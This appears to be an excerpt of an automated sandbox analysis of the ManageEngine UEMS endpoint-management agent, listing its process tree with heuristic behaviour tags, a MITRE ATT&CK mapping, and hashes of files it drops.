C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:2008
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1992
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:3512
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4320
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4368
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1020 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:860
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4748
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
PID:3076
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\\OSDetection.json.gz" OSDetection.json3⤵
- Executes dropped EXE
PID:3396
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml4584.tmp" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml4584.tmpnew""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2404 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3076
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml4584.tmp" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4824
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2500
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll3⤵
- Executes dropped EXE
PID:1408
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4484
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *3⤵
- Executes dropped EXE
PID:4452
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4496
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3564
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3840
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *3⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2788
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\vulnerable-scan-data.xml.gz" *3⤵
- System Location Discovery: System Language Discovery
PID:3856 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4952
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *3⤵PID:8676
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe3⤵PID:8660
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll3⤵PID:8616
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll3⤵PID:8588
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe33⤵PID:8528
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe" -m 1 -c Refresh3⤵PID:8520
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n a8171afd-f23a-419b-9bb8-146a20bb61fd -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -c blm -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\BitLocker-metadata.json" -a 24⤵PID:7584
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\BitLockerMgmt.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"5⤵PID:7520
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Executes dropped EXE
PID:2496
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4208 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
PID:2632
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1572
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
PID:1008
-
-
C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2988
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3856
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WbioSvcGroup -s WbioSrvc1⤵PID:7656
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5a4e93.rbs
- Size 63KB
- SHA256 33038adbac92031114eb243adad238163bd2f863008281f4c3655ab6cd51f3db
- MD5 98f2fac19790a7d6b9c2a1b6ffd90da0
- SHA1 b38ee7753e8f32534a2f915024a552b741b990d3
- SHA512 b8dbe2362b4b632f20394da5433f6707686643e9f1590282edb0c302e80b669ec239c11aef935487b559cf252b0e979ede735ff317f60e2bb6ccd74e7142d59b
- SSDEEP 768:dWvw1oOjyhMzY7yjDO+GL1t5gaCM4OWemTqTH4ImBVbk:U8oGyh7UDO+5flukzbk
- TLSH T101538266DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e5a4e99.rbs
- Size 546B
- SHA256 da75107ac260253f41b7331df7fa5e136d4049a90445fc4c30f25db0727f4c8c
- MD5 57c1ea5ed3512795219c0646ca3faa9b
- SHA1 2caec5264f6a43b9397371a2e099c88c9d931c41
- SHA512 2d14c062601607755cd83c4ab679e220bcc02e2e1fe21b8a8d1946ba4843ea161b66b97846fc1a15e0e947f52fa8d9c477c1ef4e07cb2d95a4988587ecd612f6
- TLSH T134F00ED3E70842F1D2916B3663432F441A2FF17E84984B752E84A274AD2720A0EBF0CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 d0f75bbef0f1b6982e5b98b73e6f48ef20c51f494b262098b8add136e47bdc00
- MD5 77b4b7401323fb1375dd1e3416e4ec22
- SHA1 107ac7f7a68d6df644e6844a6957f1d5caa518e9
- SHA512 4b0b42b2c7b76c44793b861ef36c1409177c423a8e69d523001b3f570db93edcebb4578d4db03b4767daf8b3f1c4afc02ae22ebacd424b33e623f8e4b6acaeca
- TLSH T16321B703D06DB1A07E3DCCDC79EC1DC598E5D75A06E4544F71BD2EE12E1126AB40E917
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc3772.tmp
- Size 5KB
- SHA256 b81c88b77d55f9cce1e8a9b14da294cfad86830f34ad8fdffbb5774cff83f7ab
- MD5 15df3b9dbe5a4c0a96bdffbde909df0a
- SHA1 8345875253d4b6bf638a39f1d02af4d795e7c490
- SHA512 99c4a326d993761c258fb5f9108eb029dd56412ca9f20fb201ac3cd36da95e215c2bff0d59c2fe2f6eb155463d5b7217581716a49d0e54e3b6b3a52488b0b0ac
- SSDEEP 96:TWdv4W+Ep6S4cVF6cNZcGRD8wjFbRiahdHH/EAA:3UGHElZhwgdnzA
- TLSH T1BAB14110B0A28F6813B17B5C995AEA55CD1606A2361A1E05F02D39A70F3EFC27DB74F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
- MD5 5e3325dc85cc12d8bfee900860aad196
- SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
- SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
- SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
- TLSH T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
- MD5 5fffcb6c5222a8c135284688da03c53a
- SHA1 01d0f499a855a787ccb4164460e6d233057062bc
- SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
- SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
- TLSH T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
- MD5 df9c868eaecc31fae740c242b2683304
- SHA1 08751e2c3eab82fd753bb540cdd6ba53ea34aecc
- SHA512 b0bc1cc4730981a17aa4e0f94f326992120ccdc08debb25cb20dadaf5361f11294c353168ca61c42512fc2c1e5fc058029cc49f2b3a16de5e998ed933e70ec4f
- SSDEEP 3072:9R7kbERpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTA/:9R7kbE5weorw3RrDpfNtnVCXkZrsaw0Z
- TLSH T185348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 fc77ac12c4a368e1ef20666794a98d3bdbdc39bde9bf4f621bbda6bc5e3efd95
- MD5 36135dd1fa1dd9da5a10285bf0ce9e90
- SHA1 d0eeb92e9cab38344b8f9fa698de12c12fe78912
- SHA512 e9ee3c239d22d4b6af1b96e068e043897490cb97d63fbdf9328c63b76877a2ef294b9fb648f867a6ab9d5e73394ab65dc0df96bb6c676be04bb7335ffe07ea87
- SSDEEP 24576:S5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUt5eKI9yB5B:wJlbq4tIMgc8H1tVDryq8jqB
- TLSH T13875AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-database-settings.xml
- Size 197B
- SHA256 1acf861ddbabb4864373aa0f8e4d968dd8aab2230c4ed1761184c3f5f98b0201
- MD5 8045ef96c4071df39302ec3f0080f352
- SHA1 99a2f7f43ab7d0d338625e93b31969f3057719d8
- SHA512 85227c49c21fb4845c5f76f9f0ff1f95b6c03e7bb2144102d47fe55ba4a77fe5191b61baccf5f687c6cac033b18cd1ee29364d0429dbf2d0c7d227ae5eaab5c5
- TLSH T194D012A83540E02F4BB49330D7BD87188366768681355B34A820C03636514D16BDBAD4
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml
- Size 371B
- SHA256 5558cf23d4237c6da52baa119652f140bcfe547681d652202bd2cf0b087a5e2b
- MD5 5ab510e6e4103f16ab00de84857ba6f7
- SHA1 2f00c75c1680712d614e48dc986db3dae0e196a6
- SHA512 f9e4684d6074289e6a350c7955cbc39333fe28b86d2a227548f918cf6526ae3aaf10b229d612ba86e02c1964cd031556a25e3419afa5e4262dd6fe6700b21e4f
- TLSH T194E0D83425888C4D1378E7C2D75CE4004C892213381F2C986062BF17167F7873D63A94
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\server-certificates\SecureCommDetailsV2.json
- Size 4KB
- SHA256 1b111d7d3d7d5d16ba9f4254bc737a05394b81f35cbd20a5d4b3c347efb499e4
- MD5 af2ec5785c3ba55982f2c0a4b10ecdc9
- SHA1 a4eb8b1635146510d261e153a8d6d182d6cc7962
- SHA512 e230369c5a67fd8950d124dcc9e7ff78d1ed8978944d45834c05005c90f342468101be3be41cc48c7c4bf90ba535140c80c1c7504f59da205e64f5875a5197ec
- SSDEEP 96:YylcPnX8GMZ4hSsjeRY1N/3qhcyEn2NiGWe9siuZb:Yylw8GMsdeRYv3q4n2N+ee1
- TLSH T17A916C1318989575E161FF013C78AABF03F3159584339CAFB0DBB5176AF25938E0D0A9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml4500.tmp
- Size 43KB
- SHA256 d560865d2befc5dae428439df3a74faa339ea77eb53b71539478f015d3849ba6
- MD5 08c3e2b0ad3f189e03bacb0adbc6d201
- SHA1 89b870aece7f38941c6d44d36c987d867ea797a9
- SHA512 7531751f131396449cde4383bf850ce8a6dbf32a454eaae9267ff7fb7c9cf4f206f8ae32faaddb084b0073ef67a15a5528bb7c047ead69e217858b0d4060b1ff
- SSDEEP 768:d0bpZfgiyXjd6dUjoMtkTjmQZLBRyXOucRTZsC+LhSzHoETgV30K:dypZfgBh6dUjoMtkTjmQZLBRyXlcRTZy
- TLSH T11A1341E677C21A154651F0CE87FD4E8152F7F7DF8A2A1AC830A058B5931B6F73A4B201
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\log-upload-settings.json3380.tmp
- Size 974B
- SHA256 23ded2da0991000a37473ba9c41901d92cf80191b660aeb9273d597708f33739
- MD5 8f10101dcb6a4ca9be54b953a90b54e8
- SHA1 f7dd1ebb93aa4d6551bc5646029d23425142ee80
- SHA512 e57121365a2cd3d8fdd996d78ebf6502311798bbc95f71b9cf0e5add2d00fcc8b9bcb9ac1b30b509fed3a98b907fd73f7139dabe2f952626a7fdda1018b92e1f
- TLSH T1C7119BF2C7161C8F7570100854668D08B78B3F0B43E5890771B62BEA1F2E5B9050D32D
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\windows-agent-meta.json
- Size 3KB
- SHA256 adfacc82fe16cffa187c0658587e2465d6ad5f7ed9fe3e364cd8454cf5d73484
- MD5 ef298326973c8b28197b7d0a010ad1df
- SHA1 0e6f386ad4a6cb75a910aae240c8bd60fbb208c4
- SHA512 c3195f5382ea18f4b06ea1c0e018744e42eed8de20ed72f09b491b7a11bc75e73c17615ea5c0977cdf83f57762aa50e85f9c14bf74527c4d2f2888036a16465c
- TLSH T124811E790432DEB8A7B491FFD617FC798633365B0BCE2866A4EA5E8F0141438676F406
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\office-ctr-settings.xml
- Size 18KB
- SHA256 4e387681520e4b1f2673f134b146134bfef38e43ea7f11aaf53240d92267e534
- MD5 60ba97611deae8fd1afa77303ee8aafe
- SHA1 d42a98b53fab8dd81631a6f24bf6aba5177f1591
- SHA512 67577166836e0369dba68ea6c5a6123b6cf55a71e0a6829addccfce80d173f894551b896a10884159852d77cdd587797fe0fddbcc06f8d6b1c5226a426ad0496
- SSDEEP 384:c4T/2HUgo3k4eChBoSrnglWZCOysSc4s5kp2:c47uz4eCPoSrfZv4s5kI
- TLSH T16B926741EE76E45DB3AF0227AB95EC09987A86C294045C13FBB77E350AD33875AE3314
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\EPMErrorCodes.xml.gz
- Size 7KB
- SHA256 f98afedcadb662b4d445800cb2fb704c9432f6449a850db0de7626dc5e50e000
- MD5 c70276f2b72556c0501bb6c8ce05d533
- SHA1 f6aaf376581cf4405d0bcc4fed283b6279b79652
- SHA512 10fd7ce87fc63190aefae117ccf1a839cd61ad28b630995d231bb01243e166d76c2f69647166149b9388983745aa09b51c36889dc4de63c831c8d73f9f90c2aa
- SSDEEP 192:ROGetiEfnoWBJLfDa0AQROfcsvXPsWJSPVZxKnb:ROGgOWS3QIfcTaSPfgnb
- TLSH T199F1AE803AC8102EC460C95486965EE722551F0A77FEE12B081ED4E7CB7FC6A52753D6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\applications.json.gz
- Size 719KB
- SHA256 116381ba0b1c3bb37343cdae3367101f93458a6bdce9deb5c06c0bfb08c4c981
- MD5 397ede2f36470586ffb71bc20aaf6399
- SHA1 3565e7e1c3ed5aa6d8d42c2d1af605a961c81c8b
- SHA512 f25357b7875513814171b728734c57b4cf6f6e8da0a59cb15330f5c7fbf92d3ca0c7de3f701c476e555f60a0757b4456bd5138f3a48a41ed741866bbd47f5c71
- SSDEEP 12288:jbD5C2AyKRd+u5T0ZQRhTwG7H615om9T3VtIKkZqkxNgZoPwDgTTNFObm:tAyKRk2vTojGqkUhgnCm
- TLSH T1B4F42361F84F9ABD991CC38599633D04E2B5371C7FBB2873C68599810BCE88AC4DE096
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\applications.xml.gz
- Size 608KB
- SHA256 e1db35378fdce347aa8fa470325af3e1a207a13a028d23244f217b8e517f623a
- MD5 b7b5f0a2f0ac019376f9f057b2b5161f
- SHA1 c4efde51f771a27700e64c585a84fd24c9702c67
- SHA512 0ac86d3d5fa90961f13e0585ba4373e6bf2a0dc6d0c766f703fe963d058ef156a9e34e83d2641f45f0b94b92c67a2701261f9373a479a5e179d1a68a4ad18c09
- SSDEEP 12288:ZnUnRogROrmvIhES+LfTJERnMsjKbfu84L3AKrjkycLxfrS4A:mWgggLLfTCMsu7u3jAocLxG4A
- TLSH T111D422E849D7AC338449808F742511D03A329FE5DE6CD9917B74A4973C6EE498E1F2F2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz
- Size 368KB
- SHA256 f9f0361b337910fbbf67254fe26274cae2674aa0c420a62ee4855db39777cf98
- MD5 e2a8cc459235db5a774ce17026e04fbb
- SHA1 46b3c2d919c5bfd2ba149ff5cf0b68827f925973
- SHA512 d0ebdb3509ef18ac3ff5206a5aa2d2080107164d0adb42e10edc14600fc3a5f25f9997e5a6dd2fd96eece4958aca5d48639a280be290505b6efe26eb6d3edfe3
- SSDEEP 6144:w6+UasNeoGlbXmR7PW1aMADHgKWIcQlH02WK/+wX4V9+YGqswg:MrvXCiUb3lxWQ+u4vCmg
- TLSH T13484237EC17664A83B974630F8DE48129CCEF2720CF1C55A5B9CBA89458EC355A07C9F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcpatchutils.dll.gz
- Size 650KB
- SHA256 07ac9c4710ae3bba75c12a54c2030c126c525f1aa114270b2f994fe2fd191b5c
- MD5 22a61bbda87d70ecde32173ebe1723bf
- SHA1 1bdb9903960048bbe16302061c6ae82c5133c7d5
- SHA512 81d688be181ca060a094e8d41241d69a9465014e6a28521c90f1fdb7396ce5cdc16fdd2507273d17fcb59dd60f091bf64754a20bf03080b19a2c02ae7f0c3862
- SSDEEP 12288:5aCu3UMcIoPA9Kj1LduKAcQv75Fp1GRWXV02qx4gHqUPMbSyUv:4CuklMaxuxc49Fp2i02ZgKUPrx
- TLSH T1A0E42349EF02A9E3974DEA7DBC0E54B5CE90A1B0AE9E04109D91FB3BE9E31D61C13117
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\drvforceupdate.exe.gz
- Size 120KB
- SHA256 76bb3afb0c8746b57f118fdc4ea24c7daa04ab6bbe364650f359de24cc31ff4c
- MD5 90d7b5f00a0b07950ec7b46c6a5b3e1f
- SHA1 c12af4cfefcb384db1d7b59f4a8b41d4c192555d
- SHA512 bcec9518131b645800e0e15870c781abf966dbb0912366400dd70f47e786517edb5105f08acfad924013f0ea6dba5007522b7dc7b0675a86aafe2137ade95204
- SSDEEP 3072:4HPUIWm8r6tjwLbLQmLLhgYcrVFv0Fe31TuCX80fpemxog3xcm6V3kR:OWmIgjwLQmLivB90Fe5ul0fptx963G
- TLSH T1FFC3120843D0959467BCB5C9C4ED78BFDFB3595031A98BDB68A4021297CDDB22EAF342
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\eol-service-packs.json.gz
- Size 899B
- SHA256 0dc079502dd567cfe2dabebc104513e1c46abb5aa29f0942b7f6303ce1672071
- MD5 65ff2113c43034758cbed0abe4e3a948
- SHA1 feabcbdbfa6b810edfe53c062de0e67388e6e7e6
- SHA512 f66733b8596d9f0bb0306ce89fce574248c50c3774209e22e2122c0d2ccf9d9b5f04d9b72fd5096bd0599e3537c93f198c4f9b6cb5754bc93c06a1b8fa7dcfd1
- TLSH T1B311885893527E64D65A60E9CEB64C01440435911C549664CC55F19D60836BE16686FF
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\hardware.json.gz
- Size 118KB
- SHA256 9f738e0dd604eee717218b74021d7e3085b19c2ba5643f1c592d9252a0f738b0
- MD5 30862556bbf0423c311e8c0e767ca965
- SHA1 097dfc95631073004abef35eb88450d97145a168
- SHA512 1fb54af2ff11d7eccfe80cd3d49383ecaa06e796a5196c50355f73bbefd57155705a391bb4fb94b8148aded8c0e22fd59e8e3806076c2311c93d1ea8c4cf74fb
- SSDEEP 1536:GJsjAImdKz3Yr7gGYmW/vr0OiFfXlrgbNz6GcemiiYmHPl86uJZ2BSq/aEy+yqxT:6INYAj1iFflr22GePm6yYa1oVipMl
- TLSH T104C3AE8E2253952E53BD103DEA70DE3BAC1E109820B15834AC94636363BFAF58DD5CBC
- MD5 SHA1 SHA512 SSDEEP TLSH
